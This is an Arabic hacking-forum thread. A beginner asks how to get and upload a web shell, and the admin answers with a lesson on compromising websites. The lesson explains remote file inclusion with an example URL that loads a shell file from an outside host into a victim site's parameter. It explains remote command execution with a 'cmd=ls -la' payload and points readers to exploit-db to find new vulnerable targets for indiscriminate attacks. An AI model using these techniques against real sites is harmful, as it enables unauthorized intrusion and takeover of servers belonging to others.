منتديات الهكرز المتقدم
أهلا وسهلا بك زائرنا الكريم، إذا كانت هذه زيارتك الأولى للمنتدى، فيرجى التكرم بتسجيل
ما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه.
كما يشرفنا أن تقوم بالتسجيل

منتديات الهكرز المتقدم

اتصال بي عبر S corpion
 
الرئيسيةWelcomeاليوميةمكتبة الصورس .و .جبحـثالأعضاءالتسجيلدخول

شاطر | 
 

  mosa3ada

اذهب الى الأسفل 
كاتب الموضوعرسالة
foram
هكر مبتدئ
هكر مبتدئ


عدد المساهمات : 4
نقاط : 8
السٌّمعَة : 0
تاريخ التسجيل : 18/06/2011

مُساهمةموضوع: mosa3ada    الثلاثاء يوليو 12, 2011 10:53 pm

almarjo al mosa3ada laysa ladaya shell aw al mosa3ada fi kayf raf3ih washokrane mosba9ane[i][right]
الرجوع الى أعلى الصفحة اذهب الى الأسفل
Scorpion
Admin
Admin
avatar

عدد المساهمات : 529
نقاط : 3138
السٌّمعَة : 80
تاريخ التسجيل : 15/11/2010
الموقع : www.logsail.c.la

مُساهمةموضوع: البحث عن الثغرات ورفع الشيل   الأربعاء يوليو 13, 2011 1:00 pm

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

تحدثنا في الدروس السابقة عن مفاهيم أختراق المواقع وعن أوامر الينكس

وسيكون درسنا الثالث:

البحث عن الثغرات الجديده ورفع الشل (الأختراق العشوائي)

بداية درسنا هذا ندخل في الجد لتطبيق ماتعلمناه في الدرسين السابقه وبالأخص تطبيق الأوامر
لتطبيق الأوامر الي تعلمتها تحتاج شل .. والشل لابد تزرعة على موقع عن طريق ثغرات الريموت وهي
Remote File Include
commands execution
وهذي النوعية من الثغرات خــطــيرة جداً
والسبب انها تنفذ اوامر على السيرفر وممكن تسيطر على الموقع بشكل كامل
طبعاً يوجد ثغرات اخرى للمواقع لاكن ليست بمستوى هالنوعيه وباقي الثغرات اقل خطوره

نوضح طريقه عمل نوعية الثغرتين مع تطبيق عملي تجربة بنفسك

((Remote File Include))
طريقه عمل هذي الثغرات هي ربط الشل مع الموقع وهي اكثر الثغرات انتشار الأن
مثال على شكل استثمار الثغرة
http://www.google.com/index.php?asde....com/shell.txt?
-| نفصل الرابط |-
موقع الضحية: Google
الملف المصاب بالثغرة: index.php?asdely=
ملف الشل: www.aljyyosh.com/shell.txt؟
وبعد التنفيذ اذا الثغرة موجوده والموقع مصاب بها راح تشوف عرض لك الشل .. وهنا يجي وقت تنفيذ الأوامر
ومثل ماتشوف ان رابط الشل جا بعد علامة " = "
ايضاً لابد ان يكون الشل بأمتداد .txt يعني ملف نصي وبعد رابط الشل تضع علامة استفهام " ? "

اما النوعية الثانية
((Remote commands execution))
طريقة عمل هذه النوعية من الثغرات هي تنفيذ الأوامر على طول بدون ماتحط رابط الشل
مثال على شكل استثمار الثغرة
www.google.com/index.php?cmd=ls -la
-| نفصل الرابط |-
موقع الضحية: Google
الملف المصاب بالثغرة: index.php?cmd=
احد اوامر الينكس: ls -la
وبعد التنفيذ اذا الثغرة موجودة فعلاً راح تشوفه يعرض لك في المتصفح نتيجه الأمر المنفذ
ولو نفذت مثلاً امر ls -la راح يعرض لك الملفات والمجلدات والتصاريح في المتصفح وبشكل غير مرتب يصعب التفرقه بين الملفات والمجلدات
ولعرضها بشكل مرتب مثلاً في متصفح الأكسبلور .. من الأعلى تضغط على "عرض" ثم تختار من القائمة "المصدر" وراح يعرض لك نتيجه الأمر في ملف نصي وبيكون بشكل مرتب
[ثغرة للتطبيق]
تم إزالة التطبيق بسبب أحد الأطفال
طبعاً مكان id مثل ماقلنا نكتب الأوامر
يوجد شرح سريع بالفديو في المرفقات بأسم (r-c-e)


بعد ماعرفنا طريقه عمل ثغرات الريموت
ننتقل الى كيفية ايجاد الثغرات الجديدة بأستخدام موقع explot-db
رابط الشرح من الأخ الغالي بلاك جاغوار

http://www.aljyyosh.com/vb/showthread.php?t=16954


تحياتي للجميع
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://www.logsail.c.la
Scorpion
Admin
Admin
avatar

عدد المساهمات : 529
نقاط : 3138
السٌّمعَة : 80
تاريخ التسجيل : 15/11/2010
الموقع : www.logsail.c.la

مُساهمةموضوع: رد: mosa3ada    الأربعاء يوليو 13, 2011 1:01 pm

da char7e sadi9 liya 7abit anak tistafid mino
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://www.logsail.c.la
 
mosa3ada
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات الهكرز المتقدم :: قسم المساعدة-
انتقل الى: